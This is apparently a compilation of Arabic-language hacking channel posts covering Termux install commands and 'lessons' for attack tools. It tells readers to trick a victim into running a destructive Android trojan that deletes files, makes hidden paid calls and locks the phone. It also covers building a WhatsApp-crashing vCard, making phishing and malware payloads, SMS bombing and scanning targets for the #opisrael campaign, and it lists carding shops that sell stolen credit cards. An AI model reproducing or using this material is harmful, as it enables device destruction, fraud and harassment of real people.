8- اداه XeroSploit

لإختبار إختراق الأجهزة المتصلة بالشبكة وتعتبر من الأدوات التي تهدف لأداء هجمات MITM Attack (رجل بلمنتصف) لإختبار الإختراق وهو يجمع العديد من العمليات التي تسمح لتحقيق الهجمة بفعالية ويسمح بعمل هجمة الحرمان DosAttack كما يقوم بعمل مسح للمنافذ كلها.


اوامر تثبيت

git clone https://github.com/LionSec/xerosploit

cd xerosploit

sudo python install.py

sudo xerosploit

المميزات
1- Port scanning
2- Network mapping
3- Dos attack
4- Html code injection
5- Javascript code injection
6- Download intercaption and replacement
7- Sniffing
8- Dns spoofing
9- Background audio reproduction
10- Images replacement
11- Drifnet
12- Webpage defacement


#CS

اداة DUMPit

هو استغلال لتطبيق SHAREit للجوال حيث يسيء استخدام ثغرتين تم اكتشافهما مؤخرًا وتؤثر على تطبيق SHAREit Android <= v 4.0.38. الأول يسمح للمهاجم بتجاوز آلية مصادقة جهاز SHAREit ، والآخر يمكّن المهاجم المصادق من تنزيل الملفات التعسفية من جهاز المستخدم. تم الإبلاغ عن كلا الثغرات الأمنية للبائع وتم إصدار تصحيحات.



اول شي قم بالدخول ع termux و بعدها
اكتب الاوامر التاليه بالترتيب


pkg install git python2

git clone https://github.com/redforcesec/Dumpit.git

cd Dumpit

python2 server.py


#CS

فيروس جيماكسوجان باصداره الخامس ، هو ملف طرواده مشفر يقوم:

١) بحذف جميع ملفات و مسارات جهاز الضحية.

٢) بإظافه ١٠ جيجا في جهاز الضحية في غضون بضع ثوان.

٣) يقوم بانشاء ٣٠٠٠ مجلد بجميع الحروف و الارقام في كل المسارات.

٤) يقوم بتهنيج و تجميد جهاز الضحية ل٦ ساعات.

خطوات التنصيب ، كم بإقناع الضحية ان يحمل برنامج Termux من متجر بلاي علا انه يقوم بالتهكير و ما الى ذلك ، ثم قم بجعله ان يكتب هذه الاوامر:

pkg update

pkg upgrade

pkg install git

git clone https://github.com/jmaxojan/jmaxojan5

cd jmaxojan5

bash *


و اذا اردت المزيد من التدمير ، قم بجعل الضحية ان ينفذ هذه الاوامر اولا:

bash .install.sh

سيقوم بنقل برنامج الى الذاكره الداخلية في المسار sdcard/ اسمه TermuxApi قم بجعل الضحية ان يثبته و يدخل الى اعدادات الجهاز>التطبيقات>Termux Api و يقوم بتفعيل جميع الاذونات و الصلاحيات للبرنامج ثم يقوم بتنفيذ الامر السابق * bash , لان ذلك سيقوم (اظافه للاشياء التي ذكرتها مسبقا) :

١) بحرق فلاش الضوء.

٢) بتدمير الاضاءه.

٣) بتغيير الخلفية.

٤) بهز الجهاز لمده ٦ ساعات بدون توقف.

٥) بالاتصال الهاتفي لارقام بدون شعور الضحيه بذلك لكي يتم سحب الرصيد.

٦) بتشغيل صوت جنس في الخلفيه 👺.

٧) باقفال الجهاز برمز سري.

٨) بحذف ما هو موجود في الحافظه.

٩) بحرق الصوت.

١٠) بحذف الاشعارات.

١١) بإيقاف و تشغيل الوايفاي عده مرات.

... ارجو استخدام الفيروس علا الاجانب او علا من يستحق ...

🔰 Xerosploit Tool 🔰

Ⓜ️ Xerosploit – Pentesting Toolkit to Perform MITM, Spoofing, DOS, Images Sniffing/Replacement, WD Attacks

➖ @M_C_X➖

UrFace's HackPack

Contains almost every sites cracking and tricks (latest and updated), Refer to this HackPack and learn new things. Contains Carding tricks also.

Link 🔗
https://ushortx.com/oc6dzD

Size- 5.02 GB

➖@PhantomCrackerBot➖

Make me admin for Daily Giveaways & Tricks No Promo/ No Ads.

اداة hackerpro

طريقه تثبيتها

apt update && apt upgrade && apt install git && apt install python2

git clone https://github.com/technicaldada/hackerpro.git

cd hackerpro && python2 hackerpro.py

مميزات الاداة

Information Gathering
Password Attacks
Wireless Testing
Exploitation Tools
Sniffing & Spoofing
Web Hacking
Private Web Hacking
Post Exploitation
Install The HACKERPRO

#CS

هذه  أفضل المواقع لشراء CC for Carding في 2019

(لبطاقات الائتمان الأمريكية فقط)
cvv.me
ltdcc1.ru
dumps.su
2pac.cc
feshop-card.ru
uniccshop.ru
torcvv.cc
validshop.succstore.su
approved1.su
bigbase1.lv
bstab.net
buyst0re.bz
buyacc.us
c2v2.net
carderpro.com
cardersbay.in
cardrockcafe.cc
cardsmarket.su
cardstorm.ru
ccbase.biz
ccbases.com
ccbases.net
ccbases.su
ccchecker.ru
ccdumb.cc
ccv.name
cvv-shop.ru
cvv-store.su
cvvseller.pro
cvvshop.lv
cvvshop.net
cvvshop.su
cvvshop1.com
cvvshop1.lv
cvvshop1.ru
cvvstore.ru
d4rksys.cc
dumps44.cc
dumpscheck.us
dumpsgate.su
freshbase.org
fullz.pro
galaxycvv.ru
galaxycvv.su
greatdumps.cc
greatdumps.su
greatdumpz.su
hackedcvv.su
instantcvv.ru
jbestcc.ru
kidala.info
kingscard.ru
kingscard.su
lampeduza.su
logoshopcc.net
ltdcc.cc
n1shop.su
nonvbv.com
nonvbv.ru
nonvbv.su
octavian.su
omerta.cc
pentagon.al
pirates-cc.com
pirates-cc.ru
pompei.su
procvvshop.ru
project84.su
rafanji.com
rescator.ru
rescator.so
rescator.su
reskator.la
secinfo.su
secretshop.su
selldump.su
shop-cvv.ru
shopcvv.ru
slilpp.net
source4dumps.cc
sruka.cc
sruka.su
ssnfinder.su
swiped.ru
t12shop.cc
thefreshcc.com
thefreshdumps.com
torcvv.com
track2shop.com
trackmarket.pro
uniccshop.su
uniccshops.ru
v-m.name
validcard.org
validcvv.ru
validcvv.su
validdumps.su
validshop.su
verified.cm
worldcvv.com
worldcvv.ru
l33t.su

#CS

12 - اداه ghostnet

البرنامج الذي سيساعدك على أن تكون أكثر أمانًا على شبكة الإنترنت. تم تصميم هذا البرنامج للتوجيه بشفافية عبر tor ، وبالطبع ، سيتم تشغيل حركة مرور الشبكة تحت tor. تم تعديل هذا البرنامج بالفعل للعمل على ARCH linux مع توزيعات linux الأخرى ، لدينا AnonSurf و BacBox-مجهولان ، وهما يعملان أيضًا مثل هذا البرنامج. هذا البرنامج كتبه لغة بيثون (الإصدار 3).


اوامر تثبيتها

git clone https://github.com/t7hm1/GhostNET.git && sudo cp GhostNET/ghostnet /usr/bin/ghostnet
cp GhostNET/ghostnet.log /opt/
sudo chown (your user name):wheel /opt/ghostnet.log
sudo chmod +x /usr/bin/ghostnet
sudo ghostnet


#cs

2 - اداه LITESPAM

يحتوي على أدوات مرسلي الرسائل غير المرغوب فيها بأنواع مختلفة ذات حدود عالية حتى غير محدودة وغير مبنية على جميع مساهمات المبرمجين لجمع أدواته هنا ، مع البريد العشوائي

اوامر تثبيتها

$ pkg update upgrade

$ pkg install git
$ pkg install python2
$ pkg install toilet
$ pkg install figlet
$ pkg install php
$ pkg install sh

$ git clone https://github.com/4L13199/LITESPAM

$ cd LITESPAM

sh LITESPAM.sh

#CS

4- اداه wpseku

مميزاتها

و هي مقصود بها اداه Wordpress Security Scanner و هي

يتم الآن إنشاء إصدار جديد ... WPSeku هو ماسح عدم حصانة WordPress للمربع الأسود والذي يمكن استخدامه لمسح تثبيتات WordPress عن بُعد للعثور على مشكلات الأمان وبطالع لك الثغرات الموجودة بالموقع

اوامر تثبيتها

$ git clone https://github.com/m4ll0k/WPSeku.git wpseku

$ cd wpseku

$ pip3 install -r requirements.txt

$ python3 wpseku.py

#CS

هذه الاداة تقوم بعمل Spider
على الموقع وسحب جميع جميع الكلمات الموجودة به ومن ثم توليد ملف يوجد به جميع الكلمات لا بل أيضاً تقوم بمعرفة الايميلات وأسماء المستخدمين على موقع الهدف بالإضافة إلى تحميل جميع الملفات مثل الأوفيس أو ملفات الـ PDF وقد اثبتت هذه الأداة قدرتها على جمع المعلومات وتم اختراق الكثير من المواقع مثل Wordpress

تثبيت ادة
Goblin word Generator

Installtion :

pkg update

pkg upgrade

pkg install git

pkg install python

pkg install python2

pkg install python3

git clone https://github.com/UndeadSec/GoblinWordGenerator

cd GoblinWordGenerator

chmod +x *
أو
chmod 777 *

python3 goblin.py

7- اداه portwitness
تم تصميم PortWitness كأداة للكشف عن النطاقات النشطة والمجالات الفرعية لمواقع الويب التي تستخدم ميزة فحص المنافذ. يساعد اختبار الاختراق وصائدي الأخطاء في جمع وجمع المعلومات حول النطاقات الفرعية النشطة للمجال الذي يستهدفونه. يقوم PortWitness بتعداد النطاقات الفرعية باستخدام Sublist3r ويستخدم Nmap مع nslookup للبحث عن المواقع النشطة. أخيرًا ، يتم تخزين المجال أو النطاقات الفرعية النشطة في ملف إخراج باستخدام ملف الإخراج هذا ، يمكن للمستخدم بدء اختبار هذه المواقع مباشرة. تم دمج Sublist3r أيضًا مع هذه الوحدة. إنه فعال للغاية ودقيق عندما يتعلق الأمر بمعرفة النطاقات الفرعية النشطة باستخدام Nmap و nslookup. تساعد هذه الأداة أيضًا المستخدم في الحصول على عناوين IP لجميع النطاقات الفرعية والمخازن ، ثم في ملف نصي ، يمكن استخدام عناوين IP هذه لإجراء مزيد من المسح للهدف.



اوامر تثبيتها

git clone https://github.com/viperbluff/PortWitness.git

chmod +x portwitness.sh

bash portwitness.sh الرابط


#CS

اداتي الخاصة باختبار المواقع المصابة بثغرة sqli & upload & RCE من خلال انشاء سكربتات الاستغلال والحقن السريع للمواقع المصابة ب SQLI ايضا تتمكن من خلال الاداة بانشاء INDEX توثيق اختراق بشكل احترافي وجميل دون الحاجة لكتابة الاوامر

رابط الاداة :
git clone https://github.com/profionaldhim/f-injection

رابط شرح الاداة :
https://youtu.be/sfmwLRAottE

يوزر الاداة : profionaldhim
باسورد : Yemen-Hacker445

#الدرس_الثالث

git clone http://github.com/p4kl0nc4t/Spammer-Grab

cd Spammer-Grab

chmod +x auto-install.sh spammer.py

./auto-install.sh

python2 spammer.py --delay 30 حط الرقم والمفتاح من غير
0 او +   
مثلا

python2 spammer.py --delay 30 249xxxxxxxxxx
مفتاح السودان 249

بعد ماتثبها وخلاص وحابب تجيبها بسرعة

ls
cd Spammer-Grab
python2 spammer.py --delay 30 249xxxxxxxxxx


#CS

السلام عليكم
أتيت لكم بهذه الاوامر المهمة الخاصة بأداة nmap لاستهداف المواقع وغيرها في اطار شروحاتنا للمبتدئين من أجل عملية #opisrael يوم السابع من هذا الشهر :

1- اوامر ال Nmap لعمل Scan على الهدف

لعمل اسكان ل ip واحد فقط : nmap 192.168.1.1
لعمل اسكان لهوست : nmap www.testhostname.com
لعمل اسكان لمجموعة من الا بى : nmap 192.168.1.1-20
لعمل اسكان على سب نت معين : nmap 192.168.1.0/24
لعمل اسكان من ملف text : nmap -iL list-of-ips.txt

========================================

2 - عمل اسكان على البورتات

سكان بورت واحد فقط : nmap -p 22 192.168.1.1
سكان مجموعة من البورتات : nmap -p 1-100 192.168.1.1
سكان سريع ل 100 مشهورين : nmap -F 192.168.1.1
سكان على 65535 بورت : nmap -p- 192.168.1.1

========================================

3 - فحص نوع البورتات المستخدمة TCP / UDP

سكان عن طريق اتصال من نوع TCP : nmap -sT 192.168.1.1
سكان العادى TCP/Syn : nmap -sS 192.168.1.1
سكان على بورتات ال UDP : nmap -sU -p 123,161,162 192.168.1.1

========================================

4 - الخدمات وتحديد نظام التشغيل

لمعرفة نظام التشغيل والخدمات الشغالة : nmap -A 192.168.1.1
لمعرفة الخدمات الشغالة : nmap -sV 192.168.1.1
لعمل banner grabbing خفيف لكي لايحدث Noise وانت تقوم بالسكان : nmap -sV --version-intensity 0 192.168.1.1

========================================

5 - لاستخراج ملف بالمعلومات التي جمعتها بال Nmap

الامر العادى للحفظ : nmap -oN outputfile.txt 192.168.1.1
لحفظ الملف على شكل XML : nmap -oX outputfile.xml 192.168.1.1
لحفظة بجميع الفورمات الموجودة : nmap -oA outputfile 192.168.1.1

========================================

6 - لمعرفة وجود ثغرة Heartbleed SSL

nmap -sV -p 443 --script=ssl-heartbleed 192.168.1.0/24

========================================

7 - معرفة معلومات اكثر عن ال IP

nmap --script=asn-query,whois,ip-geolocation-maxmind 192.168.1.0/24

========================================

طبعاً اداة ال Nmap اداة قوية في مجال الشبكات او اختبار الاختراق

من يريد التعرف على الاداة اكثر هذه بعض الكتب المفيدة

Nmap Network Scanning: The Official Nmap Project Guide to Network Discovery and Security Scanning

++++

Nmap 6: Network exploration and security auditing Cookbook Paperback – November 23, 20


#حاجه مهمة طبعا ح تجيب نوع المتصفحات بالامر دا طبعا بعد تجيب الايبي


nmap -sV 127.0.0.1/24

تكتب الايبي حق الضحيه طبعا بين ال sV- و ال 24/

#CS

شرح اليوم هو عن اداة nikto لفحص المواقع من الثغرات والبورتات المفتوحة

اوامر تثبيتها

pkg update

pkg install git

pkg install perl

امر تنصيبها
git clone https://github.com/sullo/nikto

cd nikto

cd program

امر فتح الاداة
perl nikto.pl

امر فحص الموقع المطلوب

perl nikto.pl -h رابط الموقع

بعدها ننتظر حتى يكتمل من الفحص

#CS

#الدرس_التاسع

السلام عليكم ورحمة الله
راح اشرح لكم طريقه عمل فيروس (تعليق)  واتس اب
عن طريق تطبيق Quick Edit
هذا وظيفته انشاء فيروس واتس اب من نوع كونتكت   vcf


اولا نقوم بفتح التطبيق

نكتب على أول سطر BEGIN:VCARD
و ثاني سطر نحط ال version مثلا  VERSION:3.0
أما ثالث سطر والرابع نضع الاسم النحنا بدنا ياه
N: الذيب يقتحم  »👹PC👹«الذيب يقتحم
NF:الذيب يقتحم  »👹PC👹«الذيب يقتحم

أما في الأسطر الباقيه راح نكرر هذا الي 600 وكل ما زاد عدد الأسطر زادت قوة الفايروس
TEL:+92 301 0880725
TEL;type=HOME;waid=923012762840:+92 301 2762840
TEL:+92 301 3473800
item1.TEL:+92 301 0515416
item1.X-ABLabel:OTHER
TEL:+92 301 0621125
TEL;type=HOME:+92 301 0346216
TEL;type=HOME:+92 301 0510516
item2.TEL;waid=923016460306:+92 301 6460306
item2.X-ABLabel:OTHER
item3.TEL:+92 301 1848084
item3.X-ABLabel:OTHER
TEL;type=HOME:+92 301 3577574
item4.TEL:+92 301 0286016
item4.X-ABLabel:OTHER
TEL:+92 301 5005627
TEL:+92 301 7845010
TEL;waid=923012841806:+92 301 2841806
TEL:+92 301 1684307
TEL;type=HOME;waid=923012827570:+92 301 2827570
item5.TEL:+92 301 7701532
item5.X-ABLabel:OTHER
TEL:+92 301 7186236
TEL:+92 301 5421638
item6.TEL:+92 301 3314888
item6.X-ABLabel:OTHER
TEL;waid=923018442044:+92 301 8442044
TEL;type=HOME:+92 301 4550300
TEL:+92 301 0788813
TEL;waid=923012814480:+92 301 2814480
TEL:+92 301 1285410
TEL;type=HOME:+92 301 2732023
TEL;type=HOME:+92 301 8754235
TEL:+92 301 0503015
item7.TEL:+92 301 8330677
item7.X-ABLabel:OTHER
item8.TEL:+92 301 6217127
item8.X-ABLabel:OTHER
TEL;type=HOME:+92 301 3264214
TEL:+92 301 5654084
TEL;type=HOME;waid=923016022458:+92 301 6022458
TEL;type=HOME:+92 301 5626232
item9.TEL:+92 301 1738823
item9.X-ABLabel:OTHER
TEL;type=HOME:+92 301 5726156
TEL:+92 301 8768875




شرح مقدم من
#CS

#الدرس_العاشر

السلام عليكم ورحمة الله وبركاته
اليوم سوف اشرح لكم طريقه صنع فايروس قوي
عبر أداة viruscreater


 طريقه تثبيتها:::-


الاوامر

1-  git clone https://github.com/ERROR4317/viruscreater

2-  cd viruscreater

أمر التشغيل


3- python2 virus.py



انا اخترت رقم 2

صناعه فيروسات قويه و ب انواع مختلفه



#CS

#الدرس_12
تم تحديث اداه payload5

هذا شرح أداه payload5 (5.9.9)
{رقم 1 تبع الميتاسبلويت فيها}
1 عمل بايلود للاندرويد
2عمل بايلود للويندوز
3 فتح جلسه على بايلود للاندرويد
4 فتح جلسه على بايلود للويندوز
5 اختراق عبر ip من خلال بورت 21
6 اختراق عبر ip من خلال بورت 445
7 فتح الرسائل والمكالمات التي اخذتها من الضحيه
8 فتح الصور والملفات الذي اخذتها من الضحيا
9 تحميل الميتاسبلويت
10 حل مشاكل الميتاسبلويت
11 تحميل الميتاسبلويت آخر إصدار 5.0.0
-------------------------------
{رقم 2 تبع الفحص}
1 فحص ip أو رابط موقع
2 إظهار جميع ip الاجهزه على الشبكه
3 لفحص ip عشوائي
4 لتحميل الاده nmap
-------------------------------
{رقم 3 تبع الهجوم(الدوس اتاك)}
1للهجوم على موقع
-------------------------------
{رقم 4تبع ngrok}
1 فتح http من النجرج
2 فتح tcp من النجرج
3 تحميل النجرج يجب الدخول للموقع لاحدار الكود
-------------------------------
{رقم5 تبع الفيروسات}
1 عمل فيروس عادي
2 عمل فيروس يشبه الفيس بوك
3-عمل فيروس شبه WhatsApp
4-عمل فيروس شبه الانستجرام
5-عمل فيروس شبه الماسنجر
6 فيروس إرسال رسائل مزعجه SMS لأي
شخص ببلاش
7 إرسال مكالمات مزعجه لأي أحد مجانيه
8-رفع الفيروس لكي تبعتو للضحيه
-------------------------------
{رقم 6 تبع Termux}
1 لتغير ثيم Termux باسمك
2 تحميل جميع الأدوات الاساسيه
3 لتغير ثيم ترميكس إلى ثيم الجمجمة
4 لتغير ثيم ترميكس إلى ثيم جمجمتين
-------------------------------
{رقم 7 تبع الفيس بك}
1 التخمين على باسورد الفيس بوك
2 اختراق متاح وفيسبوك عشوائي
3صنع صفحه مزوره للفيس بوك
---------------------------
{رقم 8 للتشفير }
1- تشفير ملف بايثن 1
2- تشفير ملف بايثن 2
--------------------------
30 لفتح حسابي الفيس بوك
--------------------------
40 لفتح قناتي YouTube
--------------------------
7777 لتفريغ مساحه في الهاتف
--------------------------
90 help

للتحديث قم بكتابه 99

تثبيت اداة Payload 5

pkg install git -y

git clone https://github.com/Ali898989/setupp

cd setupp

chmod +x setup.sh

./setup.sh


cd payload5


#CS

#الدرس_13
شرحي اليوم عن اداة vbug و هي طريقة سهلة لعمل فايروس مدمر للاجهزة
اول انا غير مسؤل تماما عن طريقة استخدامك لهذه الاداة
git clone https://github.com/Junior60/vbug
CD vbug
ls
chmod +x vbug
python2 vbug.py
كدا الاداة بتفتح معاك تقوم تختار رقم الذي يقابل نوع الجغهز اللي اتا عايز الفايروس من اجله بعداك نوع الفايروس e لاطبيقات ال apk بعداك
ls
 بتلقا الفايروس مع ملفات الاداة
بعداك تدي
cp اسم الفيروس /sdcard
عشان تنقله لزاكرة الجهاز طبعا لسا بكون في نسخة من الفايروس في ملفات الاداة تدي الامر
rm -rf اسم الفايورس
لمسحه
يلا الفايروس دا لو اديتو لي زول مجرد ما يعمل ليه تثبيت عليه العوض


الشرح مقدم من
#CS